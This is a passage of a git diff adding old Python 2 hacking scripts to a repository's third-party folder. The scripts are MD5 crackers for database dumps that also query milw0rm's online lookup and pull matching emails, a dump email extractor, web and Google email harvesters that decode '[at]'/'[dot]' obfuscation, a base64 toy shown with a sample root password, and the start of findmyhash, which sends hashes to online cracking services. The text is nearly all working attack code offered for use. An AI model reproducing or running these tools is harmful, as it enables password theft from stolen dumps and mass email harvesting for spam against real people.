+		gethits(dork)
+if vfile != None:
+	for dork in vfile_dorks:
+		gethits(dork)
+print "\n[-] Done -",timer(),"\n"
+
+	
+	
+	
+	
+	
+	
\ No newline at end of file
diff --git a/3rdparty/dumpcrack.py b/3rdparty/dumpcrack.py
new file mode 100644
index 0000000..4d37de0
--- /dev/null
+++ b/3rdparty/dumpcrack.py
@@ -0,0 +1,52 @@
+#!/usr/bin/python
+#Collects all md5's from a database dump and
+#attempts to crack them. If one is cracked
+#it will print out the line it was found on. 
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import md5, sys, re
+
+if len(sys.argv) != 3:
+	print "Usage: ./dumpcrack.py <database> <wordlist>"
+	sys.exit(1)
+
+try:
+  database = open(sys.argv[1], "r").readlines()
+except(IOError): 
+  print "\nError: Check your dump path\n"
+  sys.exit(1)
+
+try:
+  words = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  print "\nError: Check your wordlist path\n"
+  sys.exit(1)
+
+num = 1
+md5s = {}
+print "\n[+] Words Loaded:",len(words)
+print "[+] Searching Database Dump..."
+for line in database:
+	try:
+		MD5 = re.findall("[a-f0-9]"*32,line)[0]
+		md5s[MD5] = num
+	except(IndexError):
+		pass
+	num +=1
+print "\n[+] MD5s Found:",len(md5s)
+print "[+] Beginning Crack\n"
+for k,v in md5s.items():
+	for word in words:
+		value = md5.new(word[:-1]).hexdigest()
+		if k == value: 
+			print "MD5:",k,"Line:",v,"Cracked:",word[:-1],"\n"
+
+
+
+	
+	
+
+
+
diff --git a/3rdparty/dumpcrack1.1.py b/3rdparty/dumpcrack1.1.py
new file mode 100644
index 0000000..c3e0601
--- /dev/null
+++ b/3rdparty/dumpcrack1.1.py
@@ -0,0 +1,82 @@
+#!/usr/bin/python
+#Collects all md5's from a database dump and
+#attempts to crack them with a wordlist and
+#milw0rms database. If one is cracked
+#it will print out the line it was found on. 
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import md5, sys, re, urllib
+
+def StripTags(text):
+    	finished = 0
+    	while not finished:
+        	finished = 1
+        	start = text.find("<")
+		if start >= 0:
+			stop = text[start:].find(">")
+			if stop >= 0:
+				text = text[:start] + text[start+stop+1:]
+				finished = 0
+    	return text
+
+def milw0rm(k):
+
+	site = urllib.urlopen("http://www.milw0rm.com/md5/search.php", urllib.urlencode({"hash": k})).readlines()
+	for line in site:
+		if re.search(k, line):
+			return StripTags(line).replace(k,"").replace("md5","").replace("cracked","").replace("notfound","").replace("waiting","")
+
+if len(sys.argv) != 3:
+	print "Usage: ./dumpcrack.py <database> <wordlist>"
+	sys.exit(1)
+
+try:
+  database = open(sys.argv[1], "r").readlines()
+except(IOError): 
+  print "\nError: Check your dump path\n"
+  sys.exit(1)
+
+try:
+  words = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  print "\nError: Check your wordlist path\n"
+  sys.exit(1)
+
+num = 1
+md5s = {}
+print "\n[+] Words Loaded:",len(words)
+print "[+] Searching Database Dump..."
+for line in database:
+	try:
+		MD5 = re.findall("[a-f0-9]"*32,line)[0]
+		md5s[MD5] = num
+	except(IndexError):
+		pass
+	num +=1
+print "\n[+] MD5s Found:",len(md5s)
+print "[+] Beginning Wordlist Crack\n"
+for k,v in md5s.items():
+	for word in words:
+		value = md5.new(word[:-1]).hexdigest()
+		if k == value: 
+			print "MD5:",k,"Line:",v,"Cracked:",word[:-1],"\n"
+			del md5s[k]
+print "\n[+] MD5s Left:",len(md5s)
+print "[+] Beginning Milworm Crack\n"
+for k,v in md5s.items():
+	value = milw0rm(k)
+	if value != None:
+		print "MD5:",k,"Line:",v,"Cracked:",value
+		del md5s[k]
+print "\n[-] Uncracked:",len(md5s)
+print "[-] Done\n"
+
+
+
+	
+	
+
+
+
diff --git a/3rdparty/dumpcrack1.2.py b/3rdparty/dumpcrack1.2.py
new file mode 100644
index 0000000..ca677bf
--- /dev/null
+++ b/3rdparty/dumpcrack1.2.py
@@ -0,0 +1,117 @@
+#!/usr/bin/python
+#Collects all md5's from a database dump and
+#attempts to crack them with a wordlist and
+#milw0rms database. If one is cracked
+#it will print out the line it was found on.
+
+#Options: output format and email address search
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import md5, sys, re, urllib
+
+def out():
+	if output == "1":
+		print "\n",k,":",word[:-1],":",v
+	if output == "2":
+		print "\n",word[:-1],":",v
+	if output == "3":
+		print "\nMD5:",k,"Line:",v,"Cracked:",word[:-1]
+	if email == 1:
+		emails = re.findall('\w+@[a-zA-Z_]+?\.[a-zA-Z]{2,3}', database[v])
+		if len(emails) >= 1:
+			print "Email:",emails[0]
+
+def StripTags(text):
+    	finished = 0
+    	while not finished:
+        	finished = 1
+        	start = text.find("<")
+		if start >= 0:
+			stop = text[start:].find(">")
+			if stop >= 0:
+				text = text[:start] + text[start+stop+1:]
+				finished = 0
+    	return text
+
+def milw0rm(k):
+
+	site = urllib.urlopen("http://www.milw0rm.com/md5/search.php", urllib.urlencode({"hash": k})).readlines()
+	for line in site:
+		if re.search(k, line):
+			return StripTags(line).replace(k,"").replace("md5","").replace("cracked","").replace("notfound","").replace("waiting","")
+
+if len(sys.argv) not in [4,5]:
+	print "\nUsage: ./dumpcrack.py <database> <wordlist> <output format>"
+	print "\n[Output Format]"
+	print "\t 1 - MD5:Cracked:Line"
+	print "\t 2 - Cracked:Line"
+	print "\t 3 - MD5: md5 Line: line Cracked: Cracked"
+	print "[Option]"
+	print "\t -e/-email - Will collect email address from line"
+	print "Example:"
+	print "\t ./dumpcrack.py db.sql words.txt 3 -email\n"
+	sys.exit(1)
+
+try:
+  database = open(sys.argv[1], "r").readlines()
+except(IOError): 
+  print "\nError: Check your dump path\n"
+  sys.exit(1)
+
+try:
+  words = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  print "\nError: Check your wordlist path\n"
+  sys.exit(1)
+  
+output = sys.argv[3]
+if output not in ["1","2","3"]:
+	output == "3"
+
+num = 1
+md5s = {}
+print "\n[+] Words Loaded:",len(words)
+print "[+] Output Format:",output
+try:
+	if sys.argv[4] in ["-e","-email"]:
+		print "[+] Email Collect On"
+		email = 1
+except(IndexError):
+	print "[-] Email Collect Off"
+	email = 0
+	pass
+print "\n[+] Searching Database Dump..."
+for line in database:
+	try:
+		MD5 = re.findall("[a-f0-9]"*32,line)[0]
+		md5s[MD5] = num
+	except(IndexError):
+		pass
+	num +=1
+print "\n[+] MD5s Found:",len(md5s)
+print "[+] Beginning Wordlist Crack\n"
+for k,v in md5s.items():
+	for word in words:
+		value = md5.new(word[:-1]).hexdigest()
+		if k == value: 
+			out()
+			del md5s[k]
+print "\n[+] MD5s Left:",len(md5s)
+print "[+] Beginning Milworm Crack\n"
+for k,v in md5s.items():
+	value = milw0rm(k)
+	if value != None:
+		out()
+		del md5s[k]
+print "\n[-] Uncracked:",len(md5s)
+print "[-] Done\n"
+
+
+
+	
+	
+
+
+
diff --git a/3rdparty/dumpemail.py b/3rdparty/dumpemail.py
new file mode 100644
index 0000000..014dcea
--- /dev/null
+++ b/3rdparty/dumpemail.py
@@ -0,0 +1,48 @@
+#!/usr/bin/python
+#Collects email addr from database
+#and writes them to a file.
+
+#added dupe checking
+
+#sh4rpr00ter project
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import sys, re, sets
+
+if len(sys.argv) != 3:
+	print "\nUsage: ./dumpemail.py <database> <save file>"
+	print "Example:"
+	print "\t ./dumpemail.py db.sql emails.txt\n"
+	sys.exit(1)
+
+try:
+  database = open(sys.argv[1], "r").read()
+except(IOError): 
+  print "\nError: Check your db path\n"
+  sys.exit(1)
+  
+emails =  list(sets.Set(re.findall('[\.\w]+@[a-zA-Z_]+?\.[a-zA-Z]{2,3}', database)))
+if len(emails) >= 1:
+	ofile = open(sys.argv[2], "a")
+	print "\nFound:",len(emails)
+	print "Writing to file:",sys.argv[2],"\n\n"
+	for e in emails:
+		print e
+		ofile.writelines(e+"\n")
+	ofile.close()
+else:
+	print "\n[-] No email addresses found\n"
+print "\n[+] Done\n"
+	
+
+
+
+
+
+	
+	
+
+
+
diff --git a/3rdparty/emailcollect.py b/3rdparty/emailcollect.py
new file mode 100644
index 0000000..c0fd888
--- /dev/null
+++ b/3rdparty/emailcollect.py
@@ -0,0 +1,97 @@
+#!/usr/bin/python
+#Searches the internet for email 
+#addresses, prints them to a file...
+
+#Changelog: added socket timeout for lag sites 
+#and writes to the file as soon as an address is found 
+#incase of a crash.
+
+#http://darkcode.ath.cx
+#d3hydr8[at]gmail[dot]com 
+
+import urllib, sys, re, random, socket, time
+
+def title():
+	print "\n\t   d3hydr8[at]gmail[dot]com EmailCollecter v1.1"
+	print "\t--------------------------------------------------\n"
+	
+def timer():
+	now = time.localtime(time.time())
+	return time.asctime(now)
+	
+def geturls(url):
+	
+	try:
+		print "Collecting:",url
+		site = urllib.urlopen(url).read()
+		links = re.findall(('http://\w+.\w+\.\w+'), site)
+		for link in links:
+			if link not in urls:
+				urls.append(link)
+	except(IOError,TypeError,AttributeError,socket.timeout, socket.gaierror, socket.error): pass
+	return urls
+		
+def getaddress(url):
+	
+	print "Checking:",url
+	try:
+		site = urllib.urlopen(url).read()
+		emails = re.findall('[\.\w]+@[a-zA-Z_]+?\.[a-zA-Z]{2,3}', site)
+		for email in emails:
+			if email not in addresses:
+				addresses.append(email)
+				file.writelines(email+"\n")
+				print "\nFound:",email,"\nTotal:",len(addresses),"\n"
+				
+	except(IOError,TypeError,AttributeError,socket.timeout,socket.gaierror,socket.error): pass	
+		
+	return addresses
+	
+if len(sys.argv) != 4:
+	title()
+	print "\nUsage: ./emailcollect.py <starting point> <file to save addreses> <how many>"
+	print "Ex: ./emailcollect.py www.busywebsite.com emails.txt 10000\n"
+	sys.exit(1)
+	
+url = sys.argv[1]
+length = int(sys.argv[3])
+	
+if url[:7] != "http://":
+	url = "http://"+url
+
+addresses = []
+urls = []
+socket.setdefaulttimeout(3)
+
+title()
+print "[+] Starting:",url
+print "[+] File:",sys.argv[2]
+print "[+] Collecting:",length
+print "[+] Started:",timer(),"\n"
+
+urls = geturls(url)
+file = open(sys.argv[2], "a")
+
+while int(len(addresses)) < length:
+
+	addresses = getaddress(random.choice(urls))
+	if len(urls) < 1000:
+		urls = geturls(random.choice(urls))
+	else:
+		for url in urls[1:300]:
+			urls.remove(url)
+
+print "\n[+] Final Total:",len(addresses)
+print "[+] Data:",sys.argv[2]
+file.close()
+print "[+] Done",timer(),"\n"
+
+
+	
+
+
+	
+	
+
+
+
diff --git a/3rdparty/emailcollect_v1.2.py b/3rdparty/emailcollect_v1.2.py
new file mode 100644
index 0000000..78dbdae
--- /dev/null
+++ b/3rdparty/emailcollect_v1.2.py
@@ -0,0 +1,181 @@
+#!/usr/bin/python
+#Searches the internet for email 
+#addresses, prints them to a file...
+
+#Changelog v1.2: adding the ability to search for a specific
+#domain (ex: gmail.com / yahoo.com). It also uses google first to 
+#find addresses. Also added "verbose mode" which will show the sites
+#your collecting from or not. Also fixed a regex problem.
+
+
+#Changelog v1.1: added socket timeout for lag sites 
+#and writes to the file as soon as an address is found 
+#incase of a crash.
+
+#http://darkcode.ath.cx
+#d3hydr8[at]gmail[dot]com 
+
+import urllib, sys, re, random, socket, time, urllib2, string, sets
+
+def title():
+	print "\n\t   d3hydr8[at]gmail[dot]com EmailCollecter v1.2"
+	print "\t--------------------------------------------------\n"
+	
+def timer():
+	now = time.localtime(time.time())
+	return time.asctime(now)
+
+def StripTags(text):
+    finished = 0
+    while not finished:
+        finished = 1
+        start = text.find("<")
+        if start >= 0:
+            stop = text[start:].find(">")
+            if stop >= 0:
+                text = text[:start] + text[start+stop+1:]
+                finished = 0
+    return text
+ 
+def getgoog(domain):
+	counter = 0
+	goog_emails = []
+	try:
+		while counter < 100:
+			results = 'http://groups.google.com/groups?q='+str(domain)+'&hl=en&lr=&ie=UTF-8&start=' + repr(counter) + '&sa=N'
+			request = urllib2.Request(results)
+			request.add_header('User-Agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)')
+			opener = urllib2.build_opener()  
+			text = opener.open(request).read()
+			emails = (re.findall('([\w\.\-]+@'+domain+')',StripTags(text)))
+			for email in emails:
+				goog_emails.append(email)
+			counter += 10
+		page_counter = 0
+		while page_counter < 100 :
+			results_web = 'http://www.google.com/search?q=%40'+str(domain)+'&hl=en&lr=&ie=UTF-8&start=' + repr(page_counter) + '&sa=N'
+			request_web = urllib2.Request(results_web)
+			request_web.add_header('User-Agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)')
+			opener_web = urllib2.build_opener()  
+			text = opener_web.open(request_web).read()
+			emails_web = (re.findall('([\w\.\-]+@'+domain+')',StripTags(text)))
+			for email_web in emails_web:
+				goog_emails.append(email_web)
+			page_counter += 10
+	
+		goog_emails = list(sets.Set(goog_emails))
+		return goog_emails
+	except(IndexError):
+		pass
+	
+def geturls(url):
+	
+	try:
+		if verbose == 1:
+			print "Collecting:",url
+		site = urllib.urlopen(url).read()
+		links = re.findall(('http://[\w\.\-]*'), site)
+		for link in links:
+			if link not in urls:
+				urls.append(link)
+	except(IOError,TypeError,AttributeError,socket.timeout, socket.gaierror, socket.error): pass
+	return urls
+		
+def getaddress(url):
+	
+	if verbose == 1:
+		print "Checking:",url
+	try:
+		site = urllib.urlopen(url).read()
+		try:
+			if domain:
+				emails = re.findall('[\w\.\-]+@'+domain, site)
+		except(NameError):
+			emails = re.findall('[\.\w]+@[a-zA-Z_]+?\.[a-zA-Z]{2,3}', site)
+			pass
+		if len(emails) >=1:
+			data = open(sys.argv[2], "a")
+			for email in emails:
+				if email not in addresses:
+					addresses.append(email)
+					data.writelines(email+"\n")
+					print "\nFound:",email,"\nTotal:",len(addresses),"\n"
+			data.close()
+				
+	except(IOError,TypeError,AttributeError,socket.timeout,socket.gaierror,socket.error): pass	
+		
+	return addresses
+			
+if len(sys.argv) < 4 or len(sys.argv) > 7:
+	title()
+	print "\nUsage: ./emailcollect.py <starting point> <file to save addreses> <how many> <options>"
+	print "Ex: ./emailcollect.py www.busywebsite.com emails.txt 10000 -domain gmail.com -verbose\n"
+	print "\t[options]"
+	print "\t   -d/-domain <domain> : Only searches for that domain (ex: gmail.com, yahoo.com)"
+	print "\t   -v/-verbose : Verbose Mode\n"
+	sys.exit(1)
+	
+url = sys.argv[1]
+length = int(sys.argv[3])
+
+for arg in sys.argv[1:]:
+	if arg.lower() == "-d" or arg.lower() == "-domain":
+		domain = sys.argv[int(sys.argv[1:].index(arg))+2]
+	if arg.lower() == "-v" or arg.lower() == "-verbose":
+		verbose = 1
+	
+if url[:7] != "http://":
+	url = "http://"+url
+
+addresses = []
+urls = []
+socket.setdefaulttimeout(3)
+
+title()
+print "[+] Starting:",url
+print "[+] File:",sys.argv[2]
+try:
+	if domain:
+		domain = re.sub("@","",domain)
+		print "[+] Domain:",domain
+except(NameError):
+	print "[+] Searching: all domains"
+	pass
+print "[+] Collecting:",length
+try:
+	if verbose ==1:
+		print "[+] Verbose Mode On"
+except(NameError):
+	verbose = 0
+	print "[-] Verbose Mode Off"
+print "[+] Started:",timer(),"\n"
+
+try:
+	if domain:
+		print "[+] Getting addresses from google...\n"
+		goog_emails = getgoog(domain)
+		print "[+] Found:",len(goog_emails),"from google."
+		if len(goog_emails) >= 1:
+			file = open(sys.argv[2], "a")
+			for e in goog_emails:
+				file.writelines(e+"\n")
+				addresses.append(e)
+		file.close()
+except(NameError):
+	pass
+
+if int(len(addresses)) < length: 
+	urls = geturls(url)
+
+while int(len(addresses)) < length:
+
+	addresses = getaddress(random.choice(urls))
+	if len(urls) < 1000:
+		urls = geturls(random.choice(urls))
+	else:
+		for url in urls[1:300]:
+			urls.remove(url)
+
+print "\n[+] Final Total:",len(addresses)
+print "[+] Data:",sys.argv[2]
+print "[+] Done",timer(),"\n"
\ No newline at end of file
diff --git a/3rdparty/emailcollect_v1.3.py b/3rdparty/emailcollect_v1.3.py
new file mode 100644
index 0000000..3f5d511
--- /dev/null
+++ b/3rdparty/emailcollect_v1.3.py
@@ -0,0 +1,207 @@
+#!/usr/bin/python
+#Searches the internet for email 
+#addresses, prints them to a file...
+
+#Changelog v1.3: added finding tricky addresses like d3hydr8[at]gmail[dot]com
+#and addresses like d3hydr8[at]gmail.com
+
+#Changelog v1.2: adding the ability to search for a specific
+#domain (ex: gmail.com / yahoo.com). It also uses google first to 
+#find addresses. Also added "verbose mode" which will show the sites
+#your collecting from or not. Also fixed a regex problem.
+
+
+#Changelog v1.1: added socket timeout for lag sites 
+#and writes to the file as soon as an address is found 
+#incase of a crash.
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com 
+
+import urllib, sys, re, random, socket, time, urllib2, string, sets
+
+def title():
+	print "\n\t   d3hydr8[at]gmail[dot]com EmailCollecter v1.3"
+	print "\t--------------------------------------------------\n"
+	
+def timer():
+	now = time.localtime(time.time())
+	return time.asctime(now)
+
+def StripTags(text):
+    finished = 0
+    while not finished:
+        finished = 1
+        start = text.find("<")
+        if start >= 0:
+            stop = text[start:].find(">")
+            if stop >= 0:
+                text = text[:start] + text[start+stop+1:]
+                finished = 0
+    return text
+ 
+def getgoog(domain):
+	counter = 0
+	goog_emails = []
+	try:
+		while counter < 100:
+			results = 'http://groups.google.com/groups?q='+str(domain)+'&hl=en&lr=&ie=UTF-8&start=' + repr(counter) + '&sa=N'
+			request = urllib2.Request(results)
+			request.add_header('User-Agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)')
+			opener = urllib2.build_opener()  
+			text = opener.open(request).read()
+			emails = (re.findall('([\w\.\-]+@'+domain+')',StripTags(text)))
+			for email in emails:
+				goog_emails.append(email)
+			counter += 10
+		page_counter = 0
+		while page_counter < 100 :
+			results_web = 'http://www.google.com/search?q=%40'+str(domain)+'&hl=en&lr=&ie=UTF-8&start=' + repr(page_counter) + '&sa=N'
+			request_web = urllib2.Request(results_web)
+			request_web.add_header('User-Agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)')
+			opener_web = urllib2.build_opener()  
+			text = opener_web.open(request_web).read()
+			emails_web = (re.findall('([\w\.\-]+@'+domain+')',StripTags(text)))
+			for email_web in emails_web:
+				goog_emails.append(email_web)
+			page_counter += 10
+	
+		goog_emails = list(sets.Set(goog_emails))
+		return goog_emails
+	except(IndexError):
+		pass
+	
+def geturls(url):
+	
+	try:
+		if verbose == 1:
+			print "Collecting:",url
+		site = urllib.urlopen(url).read()
+		links = re.findall(('http://[\w\.\-]*'), site)
+		for link in links:
+			if link not in urls:
+				urls.append(link)
+	except(IOError,TypeError,AttributeError,socket.timeout, socket.gaierror, socket.error): pass
+	return urls
+		
+def getaddress(url):
+	
+	if verbose == 1:
+		print "Checking:",url
+	try:
+		emails = []
+		site = urllib.urlopen(url).read()
+		try:
+			if domain:
+				emails = re.findall('[\w\.\-]+@'+domain, site)
+				t1 = re.findall('[\w\.\-]+\[at\]'+domain, site)
+				t2 = re.findall('[\w\.\-]+\[at\]'+re.sub("\.","\[dot\]",domain), site)
+				if len(t1) >= 1:
+					for addr in t1:
+						emails.append(addr.replace("[at]","."))
+				if len(t2) >= 1:
+					for addr in t2:
+						emails.append(addr.replace("[at]",".").replace("[dot]","."))
+		except(NameError):
+			emails = re.findall('[\.\w]+@[a-zA-Z_]+?\.[a-zA-Z]{2,3}', site)
+			t1 = re.findall('[\w\.\-]+\[at\][\w\.\-]+\.\w\w\w', site)
+			t2 = re.findall('[\w\.\-]+\[at\][\w\.\-]+\[dot\]\w\w\w', site)
+			if len(t1) >= 1:
+				for addr in t1:
+					emails.append(addr.replace("[at]","@"))
+			if len(t2) >= 1:
+				for addr in t2:
+					emails.append(addr.replace("[at]",".").replace("[dot]","."))
+			pass
+		if len(emails) >=1:
+			data = open(sys.argv[2], "a")
+			for email in emails:
+				if email not in addresses:
+					addresses.append(email)
+					data.writelines(email+"\n")
+					print "\nFound:",email,"\nTotal:",len(addresses),"\n"
+			data.close()
+				
+	except(IOError,TypeError,AttributeError,socket.timeout,socket.gaierror,socket.error): 
+		pass
+	except(KeyboardInterrupt):
+		pass	
+	return addresses
+			
+if len(sys.argv) < 4 or len(sys.argv) > 7:
+	title()
+	print "\nUsage: ./emailcollect.py <starting point> <file to save addreses> <how many> <options>"
+	print "Ex: ./emailcollect.py www.busywebsite.com emails.txt 10000 -domain gmail.com -verbose\n"
+	print "\t[options]"
+	print "\t   -d/-domain <domain> : Only searches for that domain (ex: gmail.com, yahoo.com)"
+	print "\t   -v/-verbose : Verbose Mode\n"
+	sys.exit(1)
+	
+url = sys.argv[1]
+length = int(sys.argv[3])
+
+for arg in sys.argv[1:]:
+	if arg.lower() == "-d" or arg.lower() == "-domain":
+		domain = sys.argv[int(sys.argv[1:].index(arg))+2]
+	if arg.lower() == "-v" or arg.lower() == "-verbose":
+		verbose = 1
+	
+if url[:7] != "http://":
+	url = "http://"+url
+
+addresses = []
+urls = []
+socket.setdefaulttimeout(3)
+
+title()
+print "[+] Starting:",url
+print "[+] File:",sys.argv[2]
+try:
+	if domain:
+		domain = re.sub("@","",domain)
+		print "[+] Domain:",domain
+except(NameError):
+	print "[+] Searching: all domains"
+	pass
+print "[+] Collecting:",length
+try:
+	if verbose ==1:
+		print "[+] Verbose Mode On"
+except(NameError):
+	verbose = 0
+	print "[-] Verbose Mode Off"
+print "[+] Started:",timer(),"\n"
+
+try:
+	if domain:
+		print "[+] Getting addresses from google...\n"
+		goog_emails = getgoog(domain)
+		print "[+] Found:",len(goog_emails),"from google."
+		if len(goog_emails) >= 1:
+			file = open(sys.argv[2], "a")
+			for e in goog_emails:
+				file.writelines(e+"\n")
+				addresses.append(e)
+		file.close()
+except(NameError):
+	pass
+
+if int(len(addresses)) < length: 
+	urls = geturls(url)
+
+while int(len(addresses)) < length:
+	
+	try:
+		addresses = getaddress(random.choice(urls))
+	except(IndexError):
+		print "[-] Ran out of links, try another start site\n"
+		sys.exit(1)
+	if len(urls) < 1000:
+		urls = geturls(random.choice(urls))
+	else:
+		for url in urls[1:300]:
+			urls.remove(url)
+
+print "\n[+] Final Total:",len(addresses)
+print "[+] Data:",sys.argv[2]
+print "[+] Done",timer(),"\n"
\ No newline at end of file
diff --git a/3rdparty/encoder.py b/3rdparty/encoder.py
new file mode 100644
index 0000000..de57692
--- /dev/null
+++ b/3rdparty/encoder.py
@@ -0,0 +1,33 @@
+#!/usr/bin/python
+#Encode a string use Base64. (very basic, just messing around)
+#d3hydr8[at]gmail[dot]com
+import base64, sys
+
+if len(sys.argv) != 2:
+	print "\nUsage: ./encrypter.py <file to encode>\n"
+	sys.exit(1)
+	
+file = sys.argv[1]
+try:
+	i = open(file, "r")
+except(IOError): 
+	print "Check your file path."
+	sys.exit(1)
+lines = i.readlines()
+for line in lines:
+	print base64.b64encode(line[:-1])
+
+	
+"""
+
+sh-3.00$ cat wh.txt
+whitehouse.com root password: jackass
+
+sh-3.00$ python encoder.py wh.txt
+d2hpdGVob3VzZS5jb20gcm9vdCBwYXNzd29yZDogamFja2FzcyA=
+
+sh-3.00$ cat wh.txt  #copy and pasted encoded to wh.txt
+d2hpdGVob3VzZS5jb20gcm9vdCBwYXNzd29yZDogamFja2FzcyA=
+
+sh-3.00$ python decoder.py wh.txt
+whitehouse.com root password: jackass """
\ No newline at end of file
diff --git a/3rdparty/findip.py b/3rdparty/findip.py
new file mode 100644
index 0000000..e7432a5
--- /dev/null
+++ b/3rdparty/findip.py
@@ -0,0 +1,23 @@
+#!/usr/bin/python
+#d3hydr8[at]gmail[dot]com
+#Utility to find and list ips from a file.
+
+import re, sys
+
+if len(sys.argv) != 2:
+	print "\nUsage: ./findip.py <full path to file>\n"
+	sys.exit(1)
+	
+file = sys.argv[1]
+
+text_file = open(file, "r").readlines()
+
+for line in text_file:
+	ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", line)
+	if ipaddr: print ipaddr[0]
+	
+	
+		
+		
+	
+	
diff --git a/3rdparty/findmyhash.py b/3rdparty/findmyhash.py
new file mode 100644
index 0000000..fc8499e
--- /dev/null
+++ b/3rdparty/findmyhash.py
@@ -0,0 +1,3401 @@
+# -*- coding: iso-8859-1 -*-
+
+########################################################################################################
+### LICENSE
+########################################################################################################
+#
+# findmyhash.py - v 1.1.2
+#
+# This script is under GPL v3 License (http://www.gnu.org/licenses/gpl-3.0.html).
+#
+# Only this source code is under GPL v3 License. Web services used in this script are under
+# different licenses. 
+#
+# If you know some clause in one of these web services which forbids to use it inside this script,
+# please contact me to remove the web service as soon as possible.
+#
+# Developed by JulGor ( http://laxmarcaellugar.blogspot.com/ )
+# Mail: bloglaxmarcaellugar AT gmail DOT com
+# twitter: @laXmarcaellugar
+#
+
+########################################################################################################
+### IMPORTS
+########################################################################################################
+
+try:
+	import sys
+	import hashlib
+	import urllib2
+	import getopt
+	from os import path
+	from urllib import urlencode
+	from re import search, findall
+	from random import seed, randint
+	from base64 import decodestring, encodestring
+	from cookielib import LWPCookieJar
+except:
+	print """
+Execution error:
+
+  You required some basic Python libraries. 
+  
+  This application use: sys, hashlib, urllib, urllib2, os, re, random, getopt, base64 and cookielib.
+
+  Please, check if you have all of them installed in your system.
+
+"""
+	sys.exit(1)
+
+try:
+	from httplib2 import Http
+except:
+	print """
+Execution error:
+
+  The Python library httplib2 is not installed in your system. 
+  
+  Please, install it before use this application.
+
+"""
+	sys.exit(1)
+	
+try:
+	from libxml2 import parseDoc
+except:
+	print """
+Execution error:
+
+  The Python library libxml2 is not installed in your system. 
+  
+  Because of that, some plugins aren't going to work correctly.
+  
+  Please, install it before use this application.
+
+"""
+
+
+
+########################################################################################################
+### CONSTANTS
+########################################################################################################
+
+MD4	= "md4"
+MD5 	= "md5"
+SHA1 	= "sha1"
+SHA224	= "sha224"
+SHA256 	= "sha256"
+SHA384	= "sha384"
+SHA512 	= "sha512"
+RIPEMD	= "rmd160"
+LM 	= "lm"
+NTLM	= "ntlm"
+MYSQL	= "mysql"
+CISCO7	= "cisco7"
+JUNIPER = "juniper"
+GOST	= "gost"
+WHIRLPOOL = "whirlpool"
+LDAP_MD5 = "ldap_md5"
+LDAP_SHA1 = "ldap_sha1"
+
+
+USER_AGENTS = [
+	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Crazy Browser 1.0.5)",
+	"curl/7.7.2 (powerpc-apple-darwin6.0) libcurl 7.7.2 (OpenSSL 0.9.6b)",
+	"Mozilla/5.0 (X11; U; Linux amd64; en-US; rv:5.0) Gecko/20110619 Firefox/5.0",
+	"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101213 Firefox/4.0b8pre",
+	"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)",
+	"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident/5.0)",
+	"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) chromeframe/10.0.648.205",
+	"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727)",
+	"Opera/9.80 (Windows NT 6.1; U; sv) Presto/2.7.62 Version/11.01",
+	"Opera/9.80 (Windows NT 6.1; U; pl) Presto/2.7.62 Version/11.00",
+	"Opera/9.80 (X11; Linux i686; U; pl) Presto/2.6.30 Version/10.61",
+	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.861.0 Safari/535.2",
+	"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.872.0 Safari/535.2",
+	"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.812.0 Safari/535.1",
+	"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
+	]
+	
+
+
+########################################################################################################
+### CRACKERS DEFINITION
+########################################################################################################
+
+
+class SCHWETT:
+	
+	name = 		"schwett"
+	url = 		"http://schwett.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://schwett.com/md5/index.php?md5value=%s&md5c=Hash+Match" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r"<h3><font color='red'>No Match Found</font></h3><br />", html)
+		if match:
+			return None
+		else:
+			return "The hash is broken, please contact with La X marca el lugar and send it the hash value to add the correct regexp."
+
+
+
+class NETMD5CRACK:
+
+	name = 		"netmd5crack"
+	url = 		"http://www.netmd5crack.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
